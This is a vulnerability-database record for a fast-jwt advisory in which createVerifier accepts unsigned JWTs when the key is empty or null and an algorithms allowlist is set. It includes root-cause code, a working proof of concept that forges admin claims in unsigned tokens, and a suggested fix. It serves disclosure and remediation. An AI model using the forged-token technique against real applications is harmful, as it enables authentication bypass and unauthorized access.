{"schema":"threatline.record/2","record":{"id":"CVE-2026-107720","aliases":["GHSA-8wpc-h4q6-8fxv"],"summary":"fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set","details":"### Summary\n\n`createVerifier` in fast-jwt ≤ 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`''` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.\n\n### Details\n\n**Root cause — four cooperating code paths:**\n\n**A. Falsy sync keys bypass `prepareKeyOrSecret`**\n\n`createVerifier` branches on `typeof key`:\n\n```js\nconst keyType = typeof key\nif (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {\n  throw new TokenError(/* ... */)\n}\nif (key && keyType !== 'function') {\n  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))\n}\n```\n\nWhen `key` is `''` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key && ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys:\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (isSecret && key.length === 0) {\n    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\n**B. Explicit `algorithms` keeps an allowlist active with no key**\n\nWhen `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `['HS256']`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list.\n\n**C. `hasKey` is false → missing signature is permitted**\n\n```js\nconst hasKey = key instanceof Buffer ? key.length : !!key\n\nif (hasKey && !signature) {\n  throw new TokenError(/* missingSignature */)\n} else if (!hasKey && signature) {\n  throw new TokenError(/* missingKey */)\n}\n// !hasKey && !signature → fall through with NO crypto\n```\n\nAn unsigned token (`header.payload.`) produces `signature === ''`, which is falsy, so both branches are skipped.\n\n**D. Signature check is gated on `signature` being truthy**\n\n```js\nif (signature && !verifySignature(header.alg, key, input, signature)) {\n  throw new TokenError(/* invalidSignature */)\n}\n```\n\nEmpty signature → condition is `false` → `verifySignature` is never called.\n\n**E. Signer / verifier asymmetry**\n\n- `createSigner({ key: '' })` / `key: null` → **rejected**\n- `createVerifier({ key: async () => '' })` → **rejected** (GHSA empty-secret tests)\n- `createVerifier({ key: '' | null, algorithms: [...] })` → **accepted**, then verifies unsigned tokens\n\nIronically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed.\n\n**Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c).\nThis is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609).\n\n### PoC\n\n```bash\ncd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install\n```\n\n```js\n// poc-empty-key-bypass.js\nconst { createVerifier } = require('.')\n\nfunction unsigned(alg, claims) {\n  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')\n  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')\n  return `${h}.${p}.`  // trailing dot = empty signature\n}\n\nconst token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })\n\n// Vulnerable: key '' + explicit algorithms allowlist\nconst verify = createVerifier({ key: '', algorithms: ['HS256'] })\nconsole.log(verify(token))\n// → { sub: 'attacker', admin: true, role: 'root' }\n\n// Also works for RS256 / ES256 / EdDSA allowlists and key: null\nconsole.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))\n// → { admin: true }\n\n// Negative controls (correctly rejected):\ntry { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }\n  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE\n\ntry { createVerifier({ key: '' })(token) }\n  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM\n\ntry { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }\n  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY\n```\n\n**Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY`\n**Actual:** payload returned with no signature check\n\n### Impact\n\nFull authentication / authorization bypass. Any application that:\n\n1. Uses `createVerifier` with `key: ''` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || ''`), **and**\n2. Sets `algorithms` to a non-empty allowlist (a recommended security practice),\n\nwill accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped.\n\n### Suggested fix\n\nIn `createVerifier`, fail closed before binding the verifier:\n\n```js\nif (keyType !== 'function') {\n  if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {\n    throw new TokenError(TokenError.codes.invalidKey,\n      'The key cannot be null, empty, or a zero-length buffer.')\n  }\n}\n```\n\nAlso guard the combination explicitly:\n\n```js\nif (!key && allowedAlgorithms.length > 0) {\n  throw new TokenError(TokenError.codes.invalidKey,\n    'The key cannot be falsy when algorithms is set.')\n}\n```\n\nThe async path (key function resolving to `''`) is already hardened via `prepareKeyOrSecret` and does not need to change.","categories":["Libraries & packages"],"product":"fast-jwt","vendor":"nearform","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8wpc-h4q6-8fxv","source_modified_at":"2026-10-08T22:02:13Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"fast-jwt"},"range":"<= 6.3.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-107720","source_modified_at":"2026-10-09T14:32:14.931Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"fast-jwt","vendor":"nearform","versions":[{"version":"< 6.3.1","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8wpc-h4q6-8fxv","source_modified_at":"2026-10-08T22:15:07.105532249Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"fast-jwt","purl":"pkg:npm/fast-jwt"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"6.3.1"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8wpc-h4q6-8fxv","source_modified_at":"2026-10-08T22:02:13Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"fast-jwt"},"version":"6.3.1"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8wpc-h4q6-8fxv","source_modified_at":"2026-10-08T22:15:07.105532249Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"fast-jwt","purl":"pkg:npm/fast-jwt"},"version":"6.3.1"}],"cvss":7.4,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00256,"percentile":0.16318,"score_date":"2026-10-23"},"published_at":"2026-10-08T21:44:06.843Z","modified_at":"2026-10-09T14:32:14.931Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-8wpc-h4q6-8fxv","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T22:02:13Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-107720","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-09T14:32:14.931Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-8wpc-h4q6-8fxv","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T22:15:07.105532249Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107720","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/pull/649","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.1","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-8wpc-h4q6-8fxv","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-10-09T14:31:56.862139Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-09T14:32:14.931Z","content_hash":"d84967d8914a1370d41da84a7b85319f14de012a10293bf6102d3633d750b686"}}